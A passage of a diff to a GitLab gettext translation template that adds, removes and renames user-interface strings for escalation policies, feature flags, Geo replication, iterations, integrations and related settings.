msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
